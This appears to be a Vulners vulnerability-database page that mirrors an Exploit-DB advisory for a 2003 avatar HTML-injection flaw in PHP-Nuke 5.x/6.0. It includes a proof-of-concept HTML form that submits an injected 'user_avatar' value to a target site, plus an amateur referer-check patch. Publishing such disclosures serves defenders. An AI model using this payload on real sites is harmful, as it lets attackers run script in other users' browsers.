Lucene search
+L

PHP-Nuke 5.x/6.0 - Avatar HTML Injection

🗓️ 03 Feb 2003 00:00:00Reported by delusionType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

PHP-Nuke lacks input sanitization, allowing remote code execution via avatar submissions.

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
PHP-Nuke Software Detection
20 Aug 200400:00
nessus
Tenable Nessus
PHP-Nuke Detection
17 Feb 200300:00
nessus
CVE
CVE-2003-1400
19 Oct 200710:00
cve
Cvelist
CVE-2003-1400
19 Oct 200710:00
cvelist
EUVD
EUVD-2003-1390
7 Oct 202500:30
euvd
NVD
CVE-2003-1400
31 Dec 200305:00
nvd
source: https://www.securityfocus.com/bid/6750/info

A problem with PHP-Nuke could allow remote users to execute arbitrary code in the context of the web site. The problem is in the lack of sanitization of some types of input.

PHP-Nuke does not sanitize code submitted to a site from the avatar select box. Due to this, a malicious user may be able to submit embedded code from their profile page instead of an avatar. This would result in code being executed in the location where a user's avatar should normally display. This code would be executed by a victim user's browser in the context of the site.

<!-- START CODE --!>
<form name="Register"
action="http://NUKEDSITE/modules.php?name=Your_Account" method="post">

<b>Code ('">[code]<b ')</b><input type="text" name="user_avatar" size="30"
maxlength="30"><br><br>

<b>Username</b><input type="text" name="uname" size="30"
maxlength="255"><br><b>User ID:<input type="text" name="uid"
size="30"><input type="hidden" name="op" value="saveuser"><input
type="submit" value="Save Changes"></form>
<!-- END CODE --!>


To modify other users avatar information:

Search for "saveuser" you should get to a function that looks like this..

function saveuser($uid, $realname, $uname, $email, etc...

right underneath the function call, put this in..

$referer = getenv("HTTP_REFERER");
$nukeurl="http://digital-delusions.com";
$nukeurl2="http://digital-delusions.dyn.ee";
$nukeurl3="http://192.168.0.254";
if (substr("$referer",0,strlen($nukeurl))==$nukeurl OR
substr("$referer",0,strlen($nukeurl2))==$nukeurl2 OR
substr("$referer",0,strlen($nukeurl3))==$nukeurl3) {

make sure u change my URLs to your site's urls.

[ ... ]

Header("Location: modules.php?name=$module_name");
}
}
}

before the last "}" paste this..

} else {
echo "delusion ownz j00";
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.01452
29